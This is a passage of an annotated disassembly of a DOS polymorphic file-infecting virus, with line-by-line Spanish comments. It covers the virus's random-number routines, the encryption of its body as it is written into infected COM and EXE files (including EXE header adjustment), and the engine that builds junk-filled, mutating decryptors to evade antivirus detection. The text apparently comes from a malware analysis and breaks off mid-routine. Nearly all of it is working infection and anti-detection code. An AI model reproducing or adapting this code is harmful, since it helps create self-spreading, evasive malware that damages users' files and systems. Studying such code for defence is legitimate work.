∩0DA6:0936 CD21          INT     21        Ω; puesto que para acceder al disco                                                 Ω; duro el autor tendría que haber                                                   Ω; puesto MOV BX,0103 para la unidad                                                 Ω; C:, y detectar mediante otro sis-                                                 Ω; tema si el disco duro está en C:                                                  Ω; o si por el contrario está en otra                                                Ω; letra, para así cambiar este núme-                                                Ω; ro al que corresponda.                  ∩0DA6:0938 EBD8          JMP     0912      Ω; Salta, haya tenido éxito o no. Si                                                Ω; ha habido la mala suerte de que no                                                Ω; ha podido escribir y por tanto ha                                                 Ω; saltado a esta porción de código,                                                 Ω; se hará un bucle infinito debido a                                                Ω; este bug.                                                                                                                    ε;;; Función para obtener un número aleatorio en AX de la cadena de aleatorios       ε;;; que el virus "fabrica" al infectar el sistema, y que después utiliza en         ε;;; las rutinas de polimorfismo. Obtiene un aleatorio de la cadena utilizando       ε;;; el primer word de ella como índice para obtener uno a lo largo de toda          ε;;; ella.                                                                                                                                                                ∩0DA6:093A 53            PUSH    BX        Ω; Guarda BX                              ∩0DA6:093B 2E            CS:                                                         ∩0DA6:093C 8B1EBA20      MOV     BX,[20BA] Ω; Obtiene el valor en [20BA]             ∩0DA6:0940 81FB0002      CMP     BX,0200   Ω; Comprueba si es 200h                   ∩0DA6:0944 7206          JB      094C      Ω; Si es menor, salta                     ∩0DA6:0946 83E301        AND     BX,+01    Ω; Se deja en BX sólamente el último      ∩0DA6:0949 80F301        XOR     BL,01     Ω; bit y se invierte                                                                      Ω; Aquí si BX < 200h                 ∩0DA6:094C 83C302        ADD     BX,+02    Ω; Se le suma 2 a BX                      ∩0DA6:094F 2E            CS:                                                         ∩0DA6:0950 891EBA20      MOV     [20BA],BX Ω; Se pone el resultado en [20BA]         ∩0DA6:0954 2E            CS:                                                         ∩0DA6:0955 8B87BA20      MOV     AX,[BX+20BA] Ω; Coge en AX el valor en el índi-                                                  Ω; ce BX de esa cadena de aleato-                                                    Ω; rios                                 ∩0DA6:0959 5B            POP     BX        Ω; Saca BX del stack                      ∩0DA6:095A C3            RET               Ω; Retorna                                                                                                                                                                                                          ε;;;; Rutina para generar un número aleatorio en AX                                                                                                                       ∩0DA6:095B 32C0          XOR     AL,AL          Ω; Activa los contadores 0 del       ∩0DA6:095D E643          OUT     43,AL          Ω; PIT (Programmable Interrupt                                                      Ω; Timer).                            ∩0DA6:095F EB00          JMP     0961           Ω; Salto de espera                   ∩0DA6:0961 E440          IN      AL,40          Ω; Obtiene en AL un número más o                                                    Ω; menos aleatorio                    ∩0DA6:0963 8AE0          MOV     AH,AL          Ω; AH = AL                           ∩0DA6:0965 E440          IN      AL,40          Ω; Obtiene otro (que con el                                                         Ω; tiempo que ha pasado, segura-                                                     Ω; mente será el mismo).              ∩0DA6:0967 32C4          XOR     AL,AH          Ω; XORea este con el anterior        ∩0DA6:0969 86C4          XCHG    AL,AH          Ω; Intercambia estos                 ∩0DA6:096B 51            PUSH    CX             Ω; Guarda CX                         ∩0DA6:096C 8ACC          MOV     CL,AH          Ω; En CL, AH                         ∩0DA6:096E 80E10F        AND     CL,0F          Ω; Anula los 4 bits superiores       ∩0DA6:0971 D3C0          ROL     AX,CL          Ω; Rota AX                           ∩0DA6:0973 8BC8          MOV     CX,AX          Ω; Pone en CX el número resultan-                                                   Ω; te                                 ∩0DA6:0975 81E1FF07      AND     CX,07FF        Ω; Anula los 13 bits superiores      ∩0DA6:0979 EB00          JMP     097B           Ω; Vacía la Prefetch Queue (la                                                      Ω; cola, llamada comunmente, que                                                     Ω; es el buffer que el procesa-                                                      Ω; dor tiene para ir leyendo la                                                      Ω; siguiente instrucción mien-                                                       Ω; tras ejecuta la actual. Con                                                       Ω; las instrucciones de salto,                                                       Ω; el procesador ha de detenerse                                                     Ω; porque tiene que procesar el                                                      Ω; salto para saber cuál es la                                                       Ω; siguiente instrucción que ha                                                      Ω; de leer.                           ∩0DA6:097B 90            NOP                    Ω; Un NOP que no hace nada           ∩0DA6:097C E2FB          LOOP    0979           Ω; Hace LOOP. La verdad es que                                                      Ω; con esto genera un retardo                                                        Ω; aleatorio.                         ∩0DA6:097E 59            POP     CX             Ω; Saca el anterior CX               ∩0DA6:097F 2E            CS:                                                         ∩0DA6:0980 31064308      XOR     [0843],AX      Ω; XORea el anterior WORD que                                                       Ω; es modificado aleatoriamente                                                      Ω; con cada llamada a la función      ∩0DA6:0984 2E            CS:                                                         ∩0DA6:0985 03064308      ADD     AX,[0843]      Ω; Le suma a AX ese valor            ∩0DA6:0989 0AE4          OR      AH,AH          Ω; Si AH es 0, vuelve a realizar     ∩0DA6:098B 74CE          JZ      095B           Ω; la secuencia                      ∩0DA6:098D 0AC0          OR      AL,AL          Ω; Lo mismo con AL                   ∩0DA6:098F 74CA          JZ      095B                                                ∩0DA6:0991 C3            RET                    Ω; Retorna                                                                                                                ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;     ε;;; Rutina para polimorfear el virus, crear un desencriptador y escribir todo ;     ε;;; esto al archivo, de manera que el virus quede listo para su ejecución. La ;     ε;;; cabecera (si es un EXE) queda modificada en relación a esto, y tan sólo   ;     ε;;; habrá que escribirla para que el nuevo archivo quede satisfactoriamente   ;     ε;;; infectado                                                                 ;     ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                          ∩0DA6:0992 56            PUSH    SI             Ω; Guarda SI y BX en el stack        ∩0DA6:0993 53            PUSH    BX                                                  ∩0DA6:0994 FC            CLD                    Ω; Hacia delante                     ∩0DA6:0995 C706BA200000  MOV     WORD PTR [20BA],0000 Ω; En [20BA] pone el valor                                                          Ω; 0. :20BA es la dirección                                                          Ω; donde guardó al princi-                                                           Ω; pio la cadena de alea-                                                            Ω; torios                       ∩0DA6:099B 33F6          XOR     SI,SI          Ω; SI = 0                            ∩0DA6:099D BF861E        MOV     DI,1E86        Ω; En DI la dirección donde ac-                                                     Ω; tuará                              ∩0DA6:09A0 C7066C0E6A1C  MOV     WORD PTR [0E6C],1C6A Ω; En [0E6C] el valor 1C6A     ∩0DA6:09A6 A16E0E        MOV     AX,[0E6E]      Ω; Coge en AX el valor en [0E6E]                                                    Ω; que es donde ha metido el off-                                                    Ω; set de inicio del virus en el                                                     Ω; archivo                            ∩0DA6:09A9 A3760E        MOV     [0E76],AX      Ω; Lo pone en [0E76] y modifica                                                     Ω; la instrucción en ese punto                                                       Ω; (es un MOV **,XXXX , y lo que                                                     Ω; hace es meter el IP en XXXX)       ∩0DA6:09AC E807FF        CALL    08B6           Ω; Obtiene un número entre 0 y 2                                                    Ω; en BX de la cadena de aleato-                                                     Ω; rios con la que polimorfea el                                                     Ω; virus                              ∩0DA6:09AF 8A87D20F      MOV     AL,[BX+0FD2]   Ω; Obtiene en AL el opcode de la                                                    Ω; instrucción XOR, SUB o ADD y                                                      Ω; junto con...                       ∩0DA6:09B3 B4E0          MOV     AH,E0          Ω; ... E0h forma XOR AL,AH ,                                                        Ω; SUB AL,AH o ADD AL,AH              ∩0DA6:09B5 A3010A        MOV     [0A01],AX      Ω; Lo pone en [0A01]                 ∩0DA6:09B8 A3E309        MOV     [09E3],AX      Ω; Y también en [09E3]. Estas                                                       Ω; instrucciones las ejecutará                                                       Ω; después y servirá para encrip-                                                    Ω; tar el cuerpo del virus            ∩0DA6:09BB 80F303        XOR     BL,03          Ω; XORea BX con el valor 3. Aho-                                                    Ω; ra BX tendrá el valor                                                             Ω; 3-(BX anterior)                    ∩0DA6:09BE 8A87D20F      MOV     AL,[BX+0FD2]   Ω; Obtiene el opcode que haga la                                                    Ω; operación inversa al obtenido                                                     Ω; antes. Es decir, si antes ob-                                                     Ω; tuvo el opcode de ADD, ahora                                                      Ω; obtendrá el de SUB, y vicever-                                                    Ω; sa. Si obtuvo antes el opcode                                                     Ω; de XOR, ahora volverá a obte-                                                     Ω; nerlo                              ∩0DA6:09C2 A27A0E        MOV     [0E7A],AL      Ω; Lo mete en [0E7A]                 ∩0DA6:09C5 E872FF        CALL    093A           Ω; Obtiene en AX un múmero alea-                                                    Ω; torio de la cadena general         ∩0DA6:09C8 A25D0F        MOV     [0F5D],AL      Ω; Mete AL en [0F5D]                 ∩0DA6:09CB A22400        MOV     [0024],AL      Ω; Pone el valor este a la ins-                                                     Ω; trucción :0023 MOV AL,XX           ∩0DA6:09CE 8826740E      MOV     [0E74],AH      Ω; Y ahora pone el valor de AH                                                      Ω; a la instrucción                                                                  Ω; :0E73 MOV CL,XX                    ∩0DA6:09D2 5B            POP     BX             Ω; Recupera el handle en BX del      ∩0DA6:09D3 53            PUSH    BX             Ω; stack y lo vuelve a meter         ∩0DA6:09D4 C7060D002EF7  MOV     WORD PTR [000D],F72E Ω; Pone en :000D la ins-                                                                                            ∩0DA6:09DA C6060F0015    MOV     BYTE PTR [000F],15 Ω; trucción                                                                         Ω; NOT WORD PTR CS:[DI]           ∩0DA6:09DF B91400        MOV     CX,0014        Ω; CX = 20                           ∩0DA6:09E2 AC            LODSB                  Ω; Carga en AL el primer byte del                                                   Ω; virus                              ∩0DA6:09E3 00E0          ADD     AL,AH          Ω; Lo suma con la clave que ha                                                      Ω; calculado antes                    ∩0DA6:09E5 AA            STOSB                  Ω; Almacena el resultado a partir                                                   Ω; de :1E86                           ∩0DA6:09E6 E2FA          LOOP    09E2           Ω; Lo repite 20 veces (ha encrip-                                                   Ω; tado el segundo desencripta-                                                      Ω; dor del virus)                     ∩0DA6:09E8 B9EC01        MOV     CX,01EC        Ω; CX = 492. Ahora empezará a                                                       Ω; partir de :0014                    ∩0DA6:09EB AC            LODSB                  Ω; Carga un byte                     ∩0DA6:09EC 81FEA301      CMP     SI,01A3        Ω; Comprueba si SI es 01A3h          ∩0DA6:09F0 720D          JB      09FF           Ω; Si es menor, salta                ∩0DA6:09F2 86265D0F      XCHG    AH,[0F5D]      Ω; Intercambia AH con la clave                                                      Ω; anterior                           ∩0DA6:09F6 32C4          XOR     AL,AH          Ω; XORea AL con ella                 ∩0DA6:09F8 80C401        ADD     AH,01          Ω; Le suma 1                         ∩0DA6:09FB 86265D0F      XCHG    AH,[0F5D]      Ω; La vuelve a intercambiar          ∩0DA6:09FF F6D0          NOT     AL             Ω; NOTea AX                          ∩0DA6:0A01 00E0          ADD     AL,AH          Ω; Le suma la clave de criptado      ∩0DA6:0A03 AA            STOSB                  Ω; La almacena                       ∩0DA6:0A04 E2E5          LOOP    09EB           Ω; Repite el proceso 492 veces.                                                     Ω; Esto lo hace porque desde                                                         Ω; 01A3h en adelante está crip-                                                      Ω; tado 2 veces, mientras que                                                        Ω; lo anterior sólo está cripta-                                                     Ω; do con una clave (sin contar                                                      Ω; el encriptado principal, cla-                                                     Ω; ro está).                          ∩0DA6:0A06 E84A04        CALL    0E53           Ω; Escribe 512 bytes criptados                                                      Ω; al archivo que se está infec-                                                     Ω; tando                              ∩0DA6:0A09 7239          JB      0A44           Ω; Si hay error, acaba               ∩0DA6:0A0B 8B0E6C0E      MOV     CX,[0E6C]      Ω; Coge en CX el valor en [0E6C],                                                   Ω; que será inicialmente 1C6A (el                                                    Ω; tamaño del virus menos 512 by-                                                    Ω; tes)                               ∩0DA6:0A0F E31D          JCXZ    0A2E           Ω; Si CX es 0, salta a :0A2E         ∩0DA6:0A11 81E90002      SUB     CX,0200        Ω; Le resta 512 a CX                 ∩0DA6:0A15 7209          JB      0A20           Ω; Si es menor, salta                ∩0DA6:0A17 890E6C0E      MOV     [0E6C],CX      Ω; Mete el nuevo valor en el                                                        Ω; word de tamaño que queda por                                                      Ω; escribir                           ∩0DA6:0A1B B90002        MOV     CX,0200        Ω; CX = 512                          ∩0DA6:0A1E EBCB          JMP     09EB           Ω; Salta y repite el proceso an-                                                    Ω; terior desde :09EB                                                               Ω; Aquí si el valor que quedaba                                                      Ω; en [0E6C] era menor que 512         ∩0DA6:0A20 81C10002      ADD     CX,0200        Ω; Suma 512 a CX                     ∩0DA6:0A24 C7066C0E0000  MOV     WORD PTR [0E6C],0000 Ω; Pone el valor que fal-                                                     Ω; ta por criptar como 0              ∩0DA6:0A2A 8BD1          MOV     DX,CX          Ω; Pone este word en DX para que                                                    Ω; la función funcione                ∩0DA6:0A2C EBBD          JMP     09EB           Ω; Salta y repite el proceso                                                       Ω; Aquí si CX es 0 desde :0A0F         ∩0DA6:0A2E E85004        CALL    0E81           Ω; Rutina para crear un desen-                                                      Ω; criptador polimórfico a par-                                                      Ω; tir de la cadena de aleatorios                                                    Ω; del virus                          ∩0DA6:0A31 E87002        CALL    0CA4           Ω; Llama a esta rutina para ba-                                                     Ω; rajar las tres primeras ins-                                                      Ω; trucciones del desencriptador                                                     Ω; que ha creado                      ∩0DA6:0A34 E81000        CALL    0A47           Ω; Llena de basura el desencrip-                                                    Ω; tador que ha hecho y modifica                                                     Ω; ciertas instrucciones              ∩0DA6:0A37 BA6A1F        MOV     DX,1F6A        Ω; En DX la dirección del nuevo                                                     Ω; desencriptador, que copia a                                                       Ω; partir del virus encriptado        ∩0DA6:0A3A B440          MOV     AH,40          Ω; Función de escritura              ∩0DA6:0A3C 83C111        ADD     CX,+11         Ω; Suma 11 a CX                      ∩0DA6:0A3F 90            NOP                    Ω; NOP??!! Dentro de un virus se                                                    Ω; tendrían que prohibir los                                                         Ω; NOPs!                              ∩0DA6:0A40 E882F8        CALL    02C5           Ω; Int 21h                           ∩0DA6:0A43 F8            CLC                    Ω; Limpia el Carry Flag, tanto si                                                   Ω; ha tenido éxito como si no.        ∩0DA6:0A44 5B            POP     BX             Ω; Saca BX y SI anterior             ∩0DA6:0A45 5E            POP     SI                                                  ∩0DA6:0A46 C3            RET                    Ω; Retorna                                                                                                                ε;;; Rutina para polimorfear el desencriptador creado y llenarlo de basura que       ε;;; dificulte su detección.                                                                                                                                              ∩0DA6:0A47 53            PUSH    BX             Ω; Guarda BX                         ∩0DA6:0A48 55            PUSH    BP             Ω; Guarda BP                         ∩0DA6:0A49 BE861E        MOV     SI,1E86        Ω; SI = :1E86 (donde está el de-                                                    Ω; sencriptador)                      ∩0DA6:0A4C BF6A1F        MOV     DI,1F6A        Ω; DI = :1F6A (256 bytes a partir                                                   Ω; del final del virus)               ∩0DA6:0A4F 33C9          XOR     CX,CX          Ω; CX = 0                            ∩0DA6:0A51 E8AA02        CALL    0CFE           Ω; Rutina para hacer basura es-                                                     Ω; pecial (PUSH, CLI)                 ∩0DA6:0A54 B304          MOV     BL,04          Ω; BL = 04                           ∩0DA6:0A56 E841FE        CALL    089A           Ω; Obtiene basura tipo MOV AH,**/                                                   Ω; INT ** , con valores que sólo                                                     Ω; devuelven información y no va-                                                    Ω; rían nada en el sistema            ∩0DA6:0A59 E84903        CALL    0DA5           Ω; Inserta primero una instruc-                                                     Ω; ción PUSH SP/POP BP o                                                             Ω; MOV BP,SP , y después una ins-                                                    Ω; trucción:                                                                         Ω; CMP/XOR/SUB/AND/ADD WORD/BYTE                                                     Ω; PTR [BP-06/-05], ****              ∩0DA6:0A5C E8CA03        CALL    0E29           Ω; Inserta una instrucción JNZ **                                                   Ω; aleatoria                          ∩0DA6:0A5F E8BD01        CALL    0C1F           Ω; Rutina para insertar una ins-                                                    Ω; trucción de JMP SHORT/LONG de                                                     Ω; poca longitud (de 1 a 4 bytes)                                                    Ω; y meter basura por medio (que                                                     Ω; no se ejecutará).                  ∩0DA6:0A62 E8A100        CALL    0B06           Ω; Inserta un número indetermina-                                                   Ω; do de bytes del desencriptador                                                    Ω; que ha hecho antes al que aho-                                                    Ω; ra está construyendo               ∩0DA6:0A65 E8B701        CALL    0C1F           Ω; Vuelve a insertar un JMP alea-                                                   Ω; torio                              ∩0DA6:0A68 E89B00        CALL    0B06           Ω; Copia bytes del desencriptador    ∩0DA6:0A6B E8B101        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0A6E E89500        CALL    0B06           Ω; Copia bytes del desencriptador    ∩0DA6:0A71 E8AB01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0A74 B302          MOV     BL,02          Ω; BL = 2                            ∩0DA6:0A76 E821FE        CALL    089A           Ω; Obtiene de 0 a 6 bytes de ba-                                                    Ω; sura en instrucciones "comple-                                                    Ω; jas", tales como INTs, etc.                                                       Ω; En BL ha indicado la longitud                                                     Ω; de las instrucciones que va                                                       Ω; a insertar                         ∩0DA6:0A79 E8A301        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0A7C E8BBFE        CALL    093A           Ω; Salta a :0A87 con un 50% de       ∩0DA6:0A7F 80FC80        CMP     AH,80          Ω; probabilidad                      ∩0DA6:0A82 7203          JB      0A87                                                ∩0DA6:0A84 A4            MOVSB                  Ω; Inserta AL (que es un aleato-                                                    Ω; rio)                               ∩0DA6:0A85 EB09          JMP     0A90           Ω; Salta y continúa                                                                Ω; Aquí desde :0A82                    ∩0DA6:0A87 800E8C0110    OR      BYTE PTR [018C],10 Ω; Enciende el bit 4 en                                                             Ω; [018C], indicando que no                                                          Ω; va a poner un PUSH que                                                            Ω; guardaría en el stack al                                                          Ω; Entry Point del virus en                                                          Ω; el archivo                     ∩0DA6:0A8C 80E901        SUB     CL,01          Ω; Resta 1 a CL                      ∩0DA6:0A8F 46            INC     SI             Ω; Incrementa SI (deja en SI-01                                                     Ω; el byte que haya en ese momen-                                                    Ω; to ahí)                                                                          Ω; Aquí desde :0A85                    ∩0DA6:0A90 E88C01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0A93 E83C01        CALL    0BD2           Ω; Rutina para insertar una ins-                                                    Ω; trucción:                                                                         Ω; ADD/SUB Reg, +/-TamañoVirus        ∩0DA6:0A96 8AE9          MOV     CH,CL          Ω; En CH pone CL                     ∩0DA6:0A98 B302          MOV     BL,02          Ω; BL = 2                            ∩0DA6:0A9A E8FDFD        CALL    089A           Ω; Instrucción basura de dos by-                                                    Ω; (hace de 0 a 3 instrucciones)      ∩0DA6:0A9D E87F01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0AA0 A5            MOVSW                  Ω; Inserta 3 bytes aleatorios        ∩0DA6:0AA1 A4            MOVSB                  Ω; obtenidos en la función ante-                                                    Ω; rior)                              ∩0DA6:0AA2 E87A01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0AA5 E88D02        CALL    0D35           Ω; Inserta un byte que no acabo                                                     Ω; de comprender para qué es          ∩0DA6:0AA8 B302          MOV     BL,02          Ω; Instrucción basura de 2 bytes     ∩0DA6:0AAA E8EDFD        CALL    089A           Ω; (una cantidad de 0 a 3 inst.)     ∩0DA6:0AAD E8C400        CALL    0B74           Ω; Inserta una instrucción                                                          Ω; CMP BX/SI/DI, 0001/FFFFh           ∩0DA6:0AB0 B302          MOV     BL,02          Ω; Inserta de 0 a 3 instrucciones    ∩0DA6:0AB2 E8E5FD        CALL    089A           Ω; basura de 2 bytes                 ∩0DA6:0AB5 E86701        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0AB8 E86100        CALL    0B1C           Ω; Inserta una instrucción para                                                     Ω; sumar 1 al registro que use                                                       Ω; en el desencriptador para con-                                                    Ω; trol de cuánto lleva desen-                                                       Ω; criptado                           ∩0DA6:0ABB B302          MOV     BL,02          Ω; Inserta de 0 a 3 instrucciones    ∩0DA6:0ABD E8DAFD        CALL    089A           Ω; basura de 2 bytes (el tamaño                                                     Ω; en BL)                             ∩0DA6:0AC0 E85C01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0AC3 8AC1          MOV     AL,CL          Ω; En AL el tamaño de toda la ba-                                                   Ω; sura que ha ido haciendo           ∩0DA6:0AC5 2AC5          SUB     AL,CH          Ω; Resta a AL la basura anterior                                                    Ω; que había hecho hasta :0A96        ∩0DA6:0AC7 8AE8          MOV     CH,AL          Ω; Lo mete en CH                     ∩0DA6:0AC9 AD            LODSW                  Ω; Carga la instrucción de salto                                                    Ω; condicional que había formado                                                     Ω; en el desencriptador               ∩0DA6:0ACA 2AE5          SUB     AH,CH          Ω; Resta al byte de desplazamien-                                                   Ω; to la cantidad de basura para                                                     Ω; para que al saltar, se salte                                                      Ω; al punto correcto (no olvide-                                                     Ω; mos que este byte es negativo                                                     Ω; y salta hacia atrás)               ∩0DA6:0ACC AB            STOSW                  Ω; Almacena la instrucción varia-                                                   Ω; da                                 ∩0DA6:0ACD B302          MOV     BL,02          Ω; Inserta de 0 a 3 instrucciones    ∩0DA6:0ACF E8C8FD        CALL    089A           Ω; basura de 2 bytes cada una        ∩0DA6:0AD2 E84A01        CALL    0C1F           Ω; Inserta un JMP aleatorio          ∩0DA6:0AD5 E89001        CALL    0C68           Ω; Rutina para insertar instruc-                                                    Ω; ciones para saltar al inicio                                                      Ω; del virus una vez se ha desen-                                                    Ω; criptado                           ∩0DA6:0AD8 E85FFE        CALL    093A           Ω; Obtiene en AX un aleatorio        ∩0DA6:0ADB 2407          AND     AL,07          Ω; AL = Número entre 0 y 7           ∩0DA6:0ADD 02C8          ADD     CL,AL          Ω; Suma este número a CL             ∩0DA6:0ADF B500          MOV     CH,00          Ω; CH = 0                            ∩0DA6:0AE1 382E7901      CMP     [0179],CH      Ω; Comprueba si el tipo de archi-                                                   Ω; vo es COM o EXE                    ∩0DA6:0AE5 741C          JZ      0B03           Ω; Si es COM, salta a :0B03 y                                                       Ω; acaba                              ∩0DA6:0AE7 010E6C1E      ADD     [1E6C],CX      Ω; Suma el valor en CX a [1E6C]                                                     Ω; (el resto, en la posición +02h                                                    Ω; de la cabecera, de dividir                                                        Ω; el tamaño del archivo entre                                                       Ω; 512)                               ∩0DA6:0AEB 813E6C1E0002  CMP     WORD PTR [1E6C],0200 Ω; Comprueba si excede de                                                     Ω; 512                                ∩0DA6:0AF1 7210          JB      0B03           Ω; Si es menor, salta y acaba        ∩0DA6:0AF3 FF066E1E      INC     WORD PTR [1E6E] Ω; Incrementa el cociente de la                                                    Ω; cabecera del EXE                   ∩0DA6:0AF7 812E6C1E0002  SUB     WORD PTR [1E6C],0200 Ω; Resta 512 al resto, ya                                                     Ω; que ha habido rebosamiento         ∩0DA6:0AFD 7504          JNZ     0B03           Ω; Si el resultado no es 0, salta    ∩0DA6:0AFF FF0E6E1E      DEC     WORD PTR [1E6E] Ω; Decrementa el cociente           ∩0DA6:0B03 5D            POP     BP             Ω; Saca BP y BX del stack            ∩0DA6:0B04 5B            POP     BX                                                  ∩0DA6:0B05 C3            RET                    Ω; Retorna                                                                                                                ε;;;;; Copia un número de bytes (según el byte en [0F5B]) desde el desencripta-      ε;;;;; dor original al desencriptador que está variando.                                                                                                                  ∩0DA6:0B06 51            PUSH    CX              Ω; Guarda CX                        ∩0DA6:0B07 33C9          XOR     CX,CX           Ω; CX = 0                           ∩0DA6:0B09 A05B0F        MOV     AL,[0F5B]       Ω; Pone en AL el número en                                                          Ω; [0F5B], que ha ido metiendo                                                       Ω; en la rutina en :0CA4             ∩0DA6:0B0C 8AC8          MOV     CL,AL           Ω; En CL                            ∩0DA6:0B0E D0E8          SHR     AL,1            Ω; Desplaza los bits en AL hacia    ∩0DA6:0B10 D0E8          SHR     AL,1            Ω; la derecha. Cuando repita es-                                                    Ω; to varias veces, AL se queda-                                                     Ω; rá a 0                            ∩0DA6:0B12 A25B0F        MOV     [0F5B],AL       Ω; Mete el número resultante en                                                     Ω; AL                                ∩0DA6:0B15 80E103        AND     CL,03           Ω; Deja CL en un número entre                                                       Ω; 0 y 3 (CL era el número que                                                       Ω; había en [0F5B])                  ∩0DA6:0B18 F3            REPZ                    Ω; Copia ese número de bytes al     ∩0DA6:0B19 A4            MOVSB                   Ω; desencriptador (SI era 1E86                                                      Ω; a partir de :0A49, y ahí es                                                       Ω; donde está el desencriptador                                                      Ω; original)                         ∩0DA6:0B1A 59            POP     CX              Ω; Saca CX                          ∩0DA6:0B1B C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;;; Rutina para insertar un SUB Reg,FFFFh, ADD Reg,0001, SUB Reg,-01 o         ε;;;;;;;; ADD Reg,+01 (estos dos últimos de 16 bits, claro)                                                                                                               ∩0DA6:0B1C E81BFE        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:0B1F 803E600F04    CMP     BYTE PTR [0F60],04 Ω; Mira si el byte en [0F60]                                                     Ω; es 04                             ∩0DA6:0B24 7306          JNB     0B2C            Ω; Si es mayor o igual, salta       ∩0DA6:0B26 32C4          XOR     AL,AH           Ω; XORea AL con AH                  ∩0DA6:0B28 7A02          JPE     0B2C            Ω; Si la paridad es par salta                                                       Ω; (será para hacer el salto lo                                                      Ω; más aleatorio posible)            ∩0DA6:0B2A A4            MOVSB                   Ω; Copia un aleatorio de la ca-                                                     Ω; dena de aleatorios del virus,                                                     Ω; que se sitúa en :1E86             ∩0DA6:0B2B C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0B24 o :0B28           ∩0DA6:0B2C 8A1E5F0F      MOV     BL,[0F5F]       Ω; En BL en byte en [0F5F] (el                                                      Ω; registro de 16 bits que ha                                                        Ω; usado en el desencriptador)       ∩0DA6:0B30 B700          MOV     BH,00           Ω; BH = 0                           ∩0DA6:0B32 803E600F06    CMP     BYTE PTR [0F60],06 Ω; Mira si el registro es BP     ∩0DA6:0B37 7313          JNB     0B4C            Ω; Si es mayor (??) o igual,                                                        Ω; salta                             ∩0DA6:0B39 803E600F04    CMP     BYTE PTR [0F60],04 Ω; Comprueba si se utiliza                                                       Ω; DI                                ∩0DA6:0B3E 7304          JNB     0B44            Ω; Si es mayor o igual, salta       ∩0DA6:0B40 A801          TEST    AL,01           Ω; Salta a :0B4C con una proba-     ∩0DA6:0B42 7508          JNZ     0B4C            Ω; bilidad de un 50%                                                               Ω; Aquí desde :0B3E                   ∩0DA6:0B44 B201          MOV     DL,01           Ω; DL = 1                           ∩0DA6:0B46 8AB7980F      MOV     DH,[BX+0F98]    Ω; DH = opcode (junto con el                                                        Ω; valor 81h o 83h) de SUB Reg,                                                      Ω; ****/+-**                         ∩0DA6:0B4A EB06          JMP     0B52            Ω; Salta a :0B52 y continua                                                        Ω; Aquí desde :0B42                   ∩0DA6:0B4C B2FF          MOV     DL,FF           Ω; DL = 0FFh                        ∩0DA6:0B4E 8AB79F0F      MOV     DH,[BX+0F9F]    Ω; DH = opcode (junto con el                                                        Ω; valor 81h) de ADD Reg,****        ∩0DA6:0B52 A802          TEST    AL,02           Ω; Mira si el bit 1 en AL es 1      ∩0DA6:0B54 750F          JNZ     0B65            Ω; Si es, salta                     ∩0DA6:0B56 B081          MOV     AL,81           Ω; Almacena el valor 81h            ∩0DA6:0B58 AA            STOSB                                                       ∩0DA6:0B59 8AC6          MOV     AL,DH           Ω; Después forma la instrucción     ∩0DA6:0B5B AA            STOSB                   Ω; correcta                         ∩0DA6:0B5C 8AC2          MOV     AL,DL           Ω; AL = 01 o FFh                    ∩0DA6:0B5E 98            CBW                     Ω; AX = 0001 o FFFFh                ∩0DA6:0B5F AB            STOSW                   Ω; Almacena este valor              ∩0DA6:0B60 46            INC     SI              Ω; Incrementa SI                    ∩0DA6:0B61 80C103        ADD     CL,03           Ω; Suma 3 a CL                      ∩0DA6:0B64 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0B54                   ∩0DA6:0B65 B083          MOV     AL,83           Ω; Inserta el valor 83h             ∩0DA6:0B67 AA            STOSB                                                       ∩0DA6:0B68 8AC6          MOV     AL,DH           Ω; Inserta el segundo byte del      ∩0DA6:0B6A AA            STOSB                   Ω; opcode                           ∩0DA6:0B6B 8AC2          MOV     AL,DL           Ω; AL = 01 o FFh                    ∩0DA6:0B6D AA            STOSB                   Ω; Lo inserta                       ∩0DA6:0B6E 46            INC     SI              Ω; Incrementa SI                    ∩0DA6:0B6F 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0B72 C3            RET                     Ω; Retorna                                                                                                               ∩0DA6:0B73 C3            RET                     Ω; No lo utiliza para nada (??)                                                                                          ε;;; Rutina para insertar la instrucción CMP BX/SI/DI, 0001/FFFFh                                                                                                         ∩0DA6:0B74 E8C3FD        CALL    093A            Ω; Obtiene un word de la cadena                                                     Ω; "general" de aleatorios           ∩0DA6:0B77 32C4          XOR     AL,AH           Ω; XORea AH con AL para hacerlo                                                     Ω; más aleatorio aún                 ∩0DA6:0B79 7902          JNS     0B7D            Ω; Si no tiene signo el resul-                                                      Ω; tado, salta                       ∩0DA6:0B7B A4            MOVSB                   Ω; Copia un byte del desencripta-                                                   Ω; dor                               ∩0DA6:0B7C C3            RET                     Ω; Retorna                                                                       Ω; Desde :0B79                          ∩0DA6:0B7D 8A1E5D0F      MOV     BL,[0F5D]       Ω; Obtiene el valor guardado en                                                     Ω; [0F5D]                            ∩0DA6:0B81 B700          MOV     BH,00           Ω; BH a 0                           ∩0DA6:0B83 803E5C0F80    CMP     BYTE PTR [0F5C],80 Ω; Mira si el byte en [0F5C]                                                     Ω; es 80 (si viene de :1559,                                                         Ω; este valor será FFh)              ∩0DA6:0B88 90            NOP                     Ω; NOP (para qué??)                 ∩0DA6:0B89 7714          JA      0B9F            Ω; Si es mayor, salta               ∩0DA6:0B8B A801          TEST    AL,01           Ω; Mira si AL es par o impar        ∩0DA6:0B8D 7508          JNZ     0B97            Ω; Si es par, salta                 ∩0DA6:0B8F B201          MOV     DL,01           Ω; DL = 1                           ∩0DA6:0B91 8AB7980F      MOV     DH,[BX+0F98]    Ω; En DH un valor según BX          ∩0DA6:0B95 EB1A          JMP     0BB1            Ω; Salta a 0BB1                                                                                                          ∩0DA6:0B97 B2FF          MOV     DL,FF           Ω; DL = FF                          